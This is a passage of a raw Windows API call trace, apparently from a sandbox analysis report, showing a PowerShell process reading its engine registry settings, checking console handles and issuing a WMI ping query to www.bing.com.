lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xa0 [0117.599] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0xa0, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x9f [0118.858] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x59fe890 | out: phkResult=0x59fe890*=0x3f0) returned 0x0 [0118.858] RegQueryValueExW (in: hKey=0x3f0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59fe8b0, lpData=0x0, lpcbData=0x59fe8ac*=0x0 | out: lpType=0x59fe8b0*=0x1, lpData=0x0, lpcbData=0x59fe8ac*=0x56) returned 0x0 [0118.858] RegQueryValueExW (in: hKey=0x3f0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59fe8b0, lpData=0x2702804, lpcbData=0x59fe8ac*=0x56 | out: lpType=0x59fe8b0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x59fe8ac*=0x56) returned 0x0 [0118.858] RegCloseKey (hKey=0x3f0) returned 0x0 [0118.858] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x59fe890 | out: phkResult=0x59fe890*=0x3f0) returned 0x0 [0118.858] RegQueryValueExW (in: hKey=0x3f0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59fe8b0, lpData=0x0, lpcbData=0x59fe8ac*=0x0 | out: lpType=0x59fe8b0*=0x1, lpData=0x0, lpcbData=0x59fe8ac*=0x56) returned 0x0 [0118.859] RegQueryValueExW (in: hKey=0x3f0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59fe8b0, lpData=0x2702b18, lpcbData=0x59fe8ac*=0x56 | out: lpType=0x59fe8b0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x59fe8ac*=0x56) returned 0x0 [0118.859] RegCloseKey (hKey=0x3f0) returned 0x0 [0118.859] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x59fe890 | out: phkResult=0x59fe890*=0x3f0) returned 0x0 [0118.859] RegQueryValueExW (in: hKey=0x3f0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59fe8b0, lpData=0x0, lpcbData=0x59fe8ac*=0x0 | out: lpType=0x59fe8b0*=0x1, lpData=0x0, lpcbData=0x59fe8ac*=0x56) returned 0x0 [0118.859] RegQueryValueExW (in: hKey=0x3f0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59fe8b0, lpData=0x2702e20, lpcbData=0x59fe8ac*=0x56 | out: lpType=0x59fe8b0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x59fe8ac*=0x56) returned 0x0 [0118.859] RegCloseKey (hKey=0x3f0) returned 0x0 [0118.860] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x59fe890 | out: phkResult=0x59fe890*=0x3f0) returned 0x0 [0118.860] RegQueryValueExW (in: hKey=0x3f0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59fe8b0, lpData=0x0, lpcbData=0x59fe8ac*=0x0 | out: lpType=0x59fe8b0*=0x1, lpData=0x0, lpcbData=0x59fe8ac*=0x56) returned 0x0 [0118.860] RegQueryValueExW (in: hKey=0x3f0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59fe8b0, lpData=0x2703140, lpcbData=0x59fe8ac*=0x56 | out: lpType=0x59fe8b0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x59fe8ac*=0x56) returned 0x0 [0118.860] RegCloseKey (hKey=0x3f0) returned 0x0 [0118.860] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x59fe8dc | out: phkResult=0x59fe8dc*=0x3f0) returned 0x0 [0118.861] RegQueryValueExW (in: hKey=0x3f0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59fe8fc, lpData=0x0, lpcbData=0x59fe8f8*=0x0 | out: lpType=0x59fe8fc*=0x1, lpData=0x0, lpcbData=0x59fe8f8*=0x56) returned 0x0 [0118.861] RegQueryValueExW (in: hKey=0x3f0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x59fe8fc, lpData=0x2703488, lpcbData=0x59fe8f8*=0x56 | out: lpType=0x59fe8fc*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x59fe8f8*=0x56) returned 0x0 [0118.861] RegCloseKey (hKey=0x3f0) returned 0x0 [0118.861] CoTaskMemAlloc (cb=0x20c) returned 0x6b5358 [0118.861] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x6b5358 | out: pszPath="C:\\Program Files (x86)") returned 0x0 [0118.861] CoTaskMemFree (pv=0x6b5358) [0118.861] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x17 [0118.861] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x17, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0119.210] EtwEventActivityIdControl () returned 0x0 [0119.210] SetEvent (hEvent=0x40c) returned 1 [0119.210] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59fec38*=0x40c, lpdwindex=0x59fea5c | out: lpdwindex=0x59fea5c) returned 0x0 [0119.211] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x59febcc, nSize=0xc6 | out: lpBuffer="") returned 0x0 [0119.212] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0119.213] GetFileType (hFile=0xb) returned 0x2 [0119.213] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x59fed70 | out: lpMode=0x59fed70) returned 1 [0119.214] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x59fed30 | out: lpConsoleScreenBufferInfo=0x59fed30) returned 1 [0119.214] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x59fed30 | out: lpConsoleScreenBufferInfo=0x59fed30) returned 1 [0119.424] EtwEventActivityIdControl () returned 0x0 [0119.424] EtwEventActivityIdControl () returned 0x0 [0119.424] EtwEventActivityIdControl () returned 0x0 [0119.506] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x410 [0119.507] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3f0 [0119.528] SetEvent (hEvent=0x3f0) returned 1 [0119.558] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59fee38*=0x410, lpdwindex=0x59fec5c | out: lpdwindex=0x59fec5c) returned 0x0 [0120.165] CoGetContextToken (in: pToken=0x59fed0c | out: pToken=0x59fed0c) returned 0x0 [0120.177] CoGetContextToken (in: pToken=0x59fec6c | out: pToken=0x59fec6c) returned 0x0 [0120.180] WbemDefPath:IUnknown:QueryInterface (in: This=0x6f3e68, riid=0x59fed3c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x59fed38 | out: ppvObject=0x59fed38*=0x6f3e68) returned 0x0 [0120.180] WbemDefPath:IUnknown:AddRef (This=0x6f3e68) returned 0x3 [0120.180] WbemDefPath:IUnknown:Release (This=0x6f3e68) returned 0x2 [0120.183] WbemDefPath:IWbemPath:SetText (This=0x6f3e68, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0120.192] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59feeb4 | out: puCount=0x59feeb4*=0x2) returned 0x0 [0120.192] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59feeb0*=0x0, pszText=0x0 | out: puBuffLength=0x59feeb0*=0xf, pszText=0x0) returned 0x0 [0120.192] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59feeb0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59feeb0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0120.363] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59fedc0*=0x464, lpdwindex=0x59fec78 | out: lpdwindex=0x59fec78) returned 0x0 [0125.280] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59feea0 | out: puCount=0x59feea0*=0x2) returned 0x0 [0125.280] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fee9c*=0x0, pszText=0x0 | out: puBuffLength=0x59fee9c*=0xf, pszText=0x0) returned 0x0 [0125.281] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fee9c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fee9c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0125.282] CoGetContextToken (in: pToken=0x59feb6c | out: pToken=0x59feb6c) returned 0x0 [0125.282] CoGetContextToken (in: pToken=0x59feacc | out: pToken=0x59feacc) returned 0x0 [0125.282] CoGetContextToken (in: pToken=0x59feacc | out: pToken=0x59feacc) returned 0x0 [0125.282] CoGetContextToken (in: pToken=0x59fea6c | out: pToken=0x59fea6c) returned 0x0 [0125.282] IUnknown:QueryInterface (in: This=0x6adc48, riid=0x71478ae0*(Data1=0x1da, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fea44 | out: ppvObject=0x59fea44*=0x6adc58) returned 0x0 [0125.282] CObjectContext::ContextCallback () returned 0x0 [0125.306] IUnknown:Release (This=0x6adc58) returned 0x1 [0125.307] CoUnmarshalInterface (in: pStm=0x748550, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59feac0 | out: ppv=0x59feac0*=0x720ab4) returned 0x0 [0125.307] CoMarshalInterface (pStm=0x748550, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x720ab4, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 [0125.307] WbemLocator:IUnknown:QueryInterface (in: This=0x720ab4, riid=0x59feb9c*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x59feb98 | out: ppvObject=0x59feb98*=0x74f110) returned 0x0 [0125.329] WbemLocator:IUnknown:Release (This=0x720ab4) returned 0x1 [0125.330] IWbemServices:ExecQuery (in: This=0x74f110, strQueryLanguage="WQL", strQuery="Select * from Win32_PingStatus where ((Address='www.bing.com') And TimeToLive=80 And BufferSize=32)", lFlags=131600, pCtx=0x0, ppEnum=0x59fedfc | out: ppEnum=0x59fedfc*=0x6c07b0) returned 0x0 [0125.362] IUnknown:QueryInterface (in: This=0x6c07b0, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59febcc | out: ppvObject=0x59febcc*=0x6c07b4) returned 0x0 [0125.362] IClientSecurity:QueryBlanket (in: This=0x6c07b4, pProxy=0x6c07b0, pAuthnSvc=0x59fec1c, pAuthzSvc=0x59fec18, pServerPrincName=0x59fec10, pAuthnLevel=0x59fec14, pImpLevel=0x59fec04, pAuthInfo=0x59fec08, pCapabilites=0x59fec0c | out: pAuthnSvc=0x59fec1c*=0xa, pAuthzSvc=0x59fec18*=0x0, pServerPrincName=0x59fec10, pAuthnLevel=0x59fec14*=0x6, pImpLevel=0x59fec04*=0x2, pAuthInfo=0x59fec08, pCapabilites=0x59fec0c*=0x1) returned 0x0 [0125.362] IUnknown:Release (This=0x6c07b4) returned 0x1 [0125.362] IUnknown:QueryInterface (in: This=0x6c07b0, riid=0x6a8135a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59febc0 | out: ppvObject=0x59febc0*=0x720ba4) returned 0x0 [0125.362] IUnknown:QueryInterface (in: This=0x6c07b0, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59febac | out: ppvObject=0x59febac*=0x6c07b4) returned 0x0 [0125.362] IClientSecurity:SetBlanket (This=0x6c07b4, pProxy=0x6c07b0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0125.518] IUnknown:Release (This=0x6c07b4) returned 0x2 [0125.518] WbemLocator:IUnknown:Release (This=0x720ba4) returned 0x1 [0125.518] CoTaskMemFree (pv=0x5cd3228) [0125.518] IUnknown:AddRef (This=0x6c07b0) returned 0x2 [0125.519] CoGetContextToken (in: pToken=0x59fe0ec | out: pToken=0x59fe0ec) returned 0x0 [0125.519] IUnknown:QueryInterface (in: This=0x6addb8, riid=0x7135b24c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe0a8 | out: ppvObject=0x59fe0a8*=0x6addc4) returned 0x0 [0125.519] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6addc4, pAptType=0x59fe0e4 | out: pAptType=0x59fe0e4*=3) returned 0x0 [0125.519] IUnknown:Release (This=0x6addc4) returned 0x0 [0125.519] CoGetObjectContext (in: riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5cdb364 | out: ppv=0x5cdb364*=0x6addb8) returned 0x0 [0125.519] CoGetContextToken (in: pToken=0x59fe4fc | out: pToken=0x59fe4fc) returned 0x0 [0125.519] IUnknown:QueryInterface (in: This=0x6c07b0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe498 | out: ppvObject=0x59fe498*=0x720b8c) returned 0x0 [0125.520] WbemLocator:IRpcOptions:Query (in: This=0x720b8c, pPrx=0x5cdb330, dwProperty=2, pdwValue=0x59fe58c | out: pdwValue=0x59fe58c) returned 0x80004002 [0125.520] WbemLocator:IUnknown:Release (This=0x720b8c) returned 0x2 [0125.520] CoGetContextToken (in: pToken=0x59feacc | out: pToken=0x59feacc) returned 0x0 [0125.520] CoGetContextToken (in: pToken=0x59fea2c | out: pToken=0x59fea2c) returned 0x0 [0125.520] IUnknown:QueryInterface (in: This=0x6c07b0, riid=0x59feafc*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x59fe9c8 | out: ppvObject=0x59fe9c8*=0x6c07b0) returned 0x0 [0125.520] IUnknown:Release (This=0x6c07b0) returned 0x2 [0125.520] WbemLocator:IUnknown:Release (This=0x74f110) returned 0x0 [0125.520] SysStringLen (param_1=0x0) returned 0x0 [0125.521] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fee48 | out: puCount=0x59fee48*=0x2) returned 0x0 [0125.521] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fee44*=0x0, pszText=0x0 | out: puBuffLength=0x59fee44*=0xf, pszText=0x0) returned 0x0 [0125.521] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fee44*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fee44*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0125.521] CoGetContextToken (in: pToken=0x59fec9c | out: pToken=0x59fec9c) returned 0x0 [0125.521] IEnumWbemClassObject:Clone (in: This=0x6c07b0, ppEnum=0x59fee54 | out: ppEnum=0x59fee54*=0x6c0878) returned 0x0 [0125.814] IUnknown:QueryInterface (in: This=0x6c0878, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fed10 | out: ppvObject=0x59fed10*=0x6c087c) returned 0x0 [0125.814] IClientSecurity:QueryBlanket (in: This=0x6c087c, pProxy=0x6c0878, pAuthnSvc=0x59fed60, pAuthzSvc=0x59fed5c, pServerPrincName=0x59fed54, pAuthnLevel=0x59fed58, pImpLevel=0x59fed48, pAuthInfo=0x59fed4c, pCapabilites=0x59fed50 | out: pAuthnSvc=0x59fed60*=0xa, pAuthzSvc=0x59fed5c*=0x0, pServerPrincName=0x59fed54, pAuthnLevel=0x59fed58*=0x6, pImpLevel=0x59fed48*=0x2, pAuthInfo=0x59fed4c, pCapabilites=0x59fed50*=0x1) returned 0x0 [0125.815] IUnknown:Release (This=0x6c087c) returned 0x1 [0125.815] IUnknown:QueryInterface (in: This=0x6c0878, riid=0x6a8135a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fed04 | out: ppvObject=0x59fed04*=0x720ab4) returned 0x0 [0125.815] IUnknown:QueryInterface (in: This=0x6c0878, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fecf0 | out: ppvObject=0x59fecf0*=0x6c087c) returned 0x0 [0125.815] IClientSecurity:SetBlanket (This=0x6c087c, pProxy=0x6c0878, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0125.832] IUnknown:Release (This=0x6c087c) returned 0x2 [0125.832] WbemLocator:IUnknown:Release (This=0x720ab4) returned 0x1 [0125.832] CoTaskMemFree (pv=0x5cd31f8) [0125.832] IUnknown:AddRef (This=0x6c0878) returned 0x2 [0125.833] CoGetContextToken (in: pToken=0x59fe220 | out: pToken=0x59fe220) returned 0x0 [0125.833] CoGetContextToken (in: pToken=0x59fe634 | out: pToken=0x59fe634) returned 0x0 [0125.833] IUnknown:QueryInterface (in: This=0x6c0878, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe5cc | out: ppvObject=0x59fe5cc*=0x720a9c) returned 0x0 [0125.833] WbemLocator:IRpcOptions:Query (in: This=0x720a9c, pPrx=0x5cdb3a8, dwProperty=2, pdwValue=0x59fe6c0 | out: pdwValue=0x59fe6c0) returned 0x80004002 [0125.833] WbemLocator:IUnknown:Release (This=0x720a9c) returned 0x2 [0125.833] CoGetContextToken (in: pToken=0x59fec04 | out: pToken=0x59fec04) returned 0x0 [0125.833] CoGetContextToken (in: pToken=0x59feb64 | out: pToken=0x59feb64) returned 0x0 [0125.833] IUnknown:QueryInterface (in: This=0x6c0878, riid=0x59fec34*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x59feb00 | out: ppvObject=0x59feb00*=0x6c0878) returned 0x0 [0125.834] IUnknown:Release (This=0x6c0878) returned 0x2 [0125.834] SysStringLen (param_1=0x0) returned 0x0 [0125.839] IEnumWbemClassObject:Reset (This=0x6c0878) returned 0x0 [0125.862] CoTaskMemAlloc (cb=0x4) returned 0x5cc1270 [0125.863] IEnumWbemClassObject:Next (in: This=0x6c0878, lTimeout=-1, uCount=0x1, apObjects=0x5cc1270, puReturned=0x2724888 | out: apObjects=0x5cc1270*=0x5ce4808, puReturned=0x2724888*=0x1) returned 0x0 [0126.756] IUnknown:QueryInterface (in: This=0x5ce4808, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe4ac | out: ppvObject=0x59fe4ac*=0x5ce4808) returned 0x0 [0126.757] IUnknown:QueryInterface (in: This=0x5ce4808, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59fe460 | out: ppvObject=0x59fe460*=0x0) returned 0x80004002 [0126.757] IUnknown:QueryInterface (in: This=0x5ce4808, riid=0x713c1e84*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59fe288 | out: ppvObject=0x59fe288*=0x0) returned 0x80004002 [0126.757] IUnknown:AddRef (This=0x5ce4808) returned 0x3 [0126.757] IUnknown:QueryInterface (in: This=0x5ce4808, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59fddbc | out: ppvObject=0x59fddbc*=0x0) returned 0x80004002 [0126.757] IUnknown:QueryInterface (in: This=0x5ce4808, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59fdd6c | out: ppvObject=0x59fdd6c*=0x0) returned 0x80004002 [0126.757] IUnknown:QueryInterface (in: This=0x5ce4808, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fdd78 | out: ppvObject=0x59fdd78*=0x5ce480c) returned 0x0 [0126.757] IMarshal:GetUnmarshalClass (in: This=0x5ce480c, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x59fdd80 | out: pCid=0x59fdd80*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0126.757] IUnknown:Release (This=0x5ce480c) returned 0x3 [0126.757] CoGetContextToken (in: pToken=0x59fddd8 | out: pToken=0x59fddd8) returned 0x0 [0126.757] CoGetContextToken (in: pToken=0x59fe1ec | out: pToken=0x59fe1ec) returned 0x0 [0126.757] IUnknown:QueryInterface (in: This=0x5ce4808, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe26c | out: ppvObject=0x59fe26c*=0x0) returned 0x80004002 [0126.757] IUnknown:Release (This=0x5ce4808) returned 0x2 [0126.758] CoGetContextToken (in: pToken=0x59fe7d4 | out: pToken=0x59fe7d4) returned 0x0 [0126.758] CoGetContextToken (in: pToken=0x59fe734 | out: pToken=0x59fe734) returned 0x0 [0126.758] IUnknown:QueryInterface (in: This=0x5ce4808, riid=0x59fe804*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x59fe800 | out: ppvObject=0x59fe800*=0x5ce4808) returned 0x0 [0126.758] IUnknown:AddRef (This=0x5ce4808) returned 0x4 [0126.758] IUnknown:Release (This=0x5ce4808) returned 0x3 [0126.758] IUnknown:Release (This=0x5ce4808) returned 0x2 [0126.758] CoTaskMemFree (pv=0x5cc1270) [0126.759] CoGetContextToken (in: pToken=0x59feb44 | out: pToken=0x59feb44) returned 0x0 [0126.759] IUnknown:AddRef (This=0x5ce4808) returned 0x3 [0126.759] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__GENUS", lFlags=0, pVal=0x59fee44*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59feec4*=0, plFlavor=0x59feec0*=0 | out: pVal=0x59fee44*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x59feec4*=3, plFlavor=0x59feec0*=64) returned 0x0 [0126.761] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__PATH", lFlags=0, pVal=0x59fee28*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59feeac*=0, plFlavor=0x59feea8*=0 | out: pVal=0x59fee28*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x59feeac*=8, plFlavor=0x59feea8*=64) returned 0x0 [0126.761] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0126.761] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0126.761] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4d4 [0126.761] SetEvent (hEvent=0x3f0) returned 1 [0126.762] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59fee00*=0x4d4, lpdwindex=0x59fec24 | out: 